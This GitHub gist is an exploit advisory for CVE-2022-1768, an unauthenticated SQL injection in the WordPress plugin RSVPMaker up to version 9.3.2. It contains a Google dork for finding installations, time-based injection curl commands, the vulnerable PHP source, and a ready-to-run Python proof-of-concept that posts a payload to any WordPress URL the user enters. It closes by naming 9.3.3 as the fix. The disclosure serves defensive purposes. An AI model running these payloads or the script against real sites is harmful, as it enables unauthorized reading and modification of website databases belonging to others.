Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Xib3rR4dAr/441d6bb4a5b8ad4b25074a49210a02cc to your computer and use it in GitHub Desktop.
Save Xib3rR4dAr/441d6bb4a5b8ad4b25074a49210a02cc to your computer and use it in GitHub Desktop.
WordPress Plugin RSVPMaker <= 9.3.2 - Unauthenticated SQL Injection vulnerability

WordPress Plugin RSVPMaker <= 9.3.2 - Unauthenticated SQL Injection vulnerability

Exploit TitleWordPress Plugin RSVPMaker <= 9.3.2 - Unauthenticated SQL Injection vulnerability
Exploit AuthorMuhammad Zeeshan (Xib3rR4dAr)
DateMay 2, 2022
Plugin LinkRSVPMaker
Plugin Active Installations600+
Version9.3.2 (Latest)
Tested onWordpress 5.9.3
Vulnerable Endpoint/wp-json/rsvpmaker/v1/stripesuccess/anythinghere
Vulnerable File/wp-content/plugins/rsvpmaker/rsvpmaker-email.php#L2863#L2868
Vulnerable Parametersrsvp_id
Google Dorkinurl:/wp-content/plugins/rsvpmaker
CVECVE-2022-1768

Description

The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to insufficient escaping and parameterization on user supplied data passed to multiple SQL queries in the ~/rsvpmaker-email.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to, and including, 9.3.2.
Endpoint is also vulnerable to unauthenticated data modfication by users.

Vulnerable Endpoint: /wp-json/rsvpmaker/v1/stripesuccess/anythinghere

Vulnerable Parameters:

  • rsvp_id

rsvp_id is Integer based SQL Injection.

Reproduction Steps

  • On wordpress installation, install and activate latest version of RSVPMaker which is version 9.3.2 as of writing, from Wordpress Plugins Repo.
  • Send following request, response time will be greater than 4 seconds:
time curl --data "rsvp_id=(select(0)from(select(sleep(2)))a)&amount=1234&email=randomtext" http://127.0.0.1/wp-json/rsvpmaker/v1/stripesuccess/anythinghere
  • Send following request, response time will be greater than 10 seconds:
time curl --data "rsvp_id=(select(0)from(select(sleep(5)))a)&amount=1234&email=randomtext" http://127.0.0.1/wp-json/rsvpmaker/v1/stripesuccess/anythinghere

Vulnerable Code

  • Rest route is registered as /rsvpmaker/v1/stripesuccess/(?P<txkey>.+).
  • Input is taken from POST parameters and sanitized via WordPress' builtin function sanitize_text_field but since vulnerability is Integer based SQL Injection, quotes are not required.
  • If email and rsvp_id POST parameters are not empty, they are passed to method rsvp_confirmation_after_payment
  • Since prepared queries are not used and value of parameter rsvp_id is not inside quotes, SQL Injection occurs.
  • When value of POST parameter rsvp_id parameter is (select(0)from(select(sleep(2)))a) and POST parameter email has any value, sample queries executed will be:
SELECT * FROM wp_rsvpmaker WHERE id=(select(0)from(select(sleep(2)))a)
SELECT * FROM wp_rsvpmaker WHERE master_rsvp=(select(0)from(select(sleep(2)))a)

Code

wp-content/plugins/rsvpmaker/rsvpmaker-api-endpoints.php:

...
396: class RSVPMaker_StripeSuccess_Controller extends WP_REST_Controller {
397: 
398: 	public function register_routes() {
399: 
400: 		$namespace = 'rsvpmaker/v1';
401: 
402: 		$path = 'stripesuccess/(?P<txkey>.+)';
403: 
404: 		register_rest_route(
405: 			$namespace,
406: 			'/' . $path,
407: 			array(
408: 
409: 				array(
410: 
411: 					'methods'             => 'POST',
412: 
413: 					'callback'            => array( $this, 'get_items' ),
414: 
415: 					'permission_callback' => array( $this, 'get_items_permissions_check' ),
416: 
417: 				),
418: 
419: 			)
420: 		);
421: 
422: 	}
...
434: 	public function get_items( $request ) {
...
442: 		foreach ( $_POST as $name => $value ) {
443: 
444: 			$vars[ $name ] = sanitize_text_field( $value );
445: 		}
...
504: 		rsvpmaker_stripe_payment_log( $vars, $key );
...

wp-content/plugins/rsvpmaker/rsvpmaker-stripe.php:

617: function rsvpmaker_stripe_payment_log( $vars, $confkey ) {
...
620: 	if ( ! empty( $vars['email'] ) ) {
621: 		rsvpmaker_stripe_notify( $vars );
622: 	}
...
629: function rsvpmaker_stripe_notify( $vars ) {
...
634: 	if ( ! empty( $vars['rsvp_id'] ) ) {
635: 		rsvp_confirmation_after_payment( $vars['rsvp_id'] );
...

wp-content/plugins/rsvpmaker/rsvpmaker-email.php:

2858: function rsvp_confirmation_after_payment ($rsvp_id) {
...
2863: 	$sql = "SELECT * FROM ".$wpdb->prefix."rsvpmaker WHERE id=$rsvp_id";
2864: 	$rsvp = (array) $wpdb->get_row($sql);
...
2868: 	$guests = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix."rsvpmaker WHERE master_rsvp=$rsvp_id");

Proof of Concept

import requests, re, json, urllib.parse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Uncomment to use proxy
proxyDict       =   { 
    #"http": "http://127.0.0.1:8081",
    #"https": "http://127.0.0.1:8081"
}

wpurl           =   input('\nWordPress URL: ')
payload         =   input('\nPayload: ') # (select(0)from(select(sleep(5)))a)

wp_session      =   requests.session()

headers         =   {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}

endpoint        =   f'/wp-json/rsvpmaker/v1/stripesuccess/anythinghere'
exploit_payload =   {
    "rsvp_id": payload,
    "amount": "1234",
    "email": "randomtext"
}
exploit_url     =   wpurl+endpoint

print(f'\nSending: {exploit_url}')

wp              =   wp_session.post(exploit_url, headers=headers, data=exploit_payload, proxies=proxyDict, verify=False)
data            =   wp.text

print("\nResponse: \n" + data)

print(f'\nTime taken: {wp.elapsed.total_seconds()}')

unauthenticated_sql_injection_poc

Fix:

  • Update RSVPMaker plugin to version 9.3.3, or newer.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment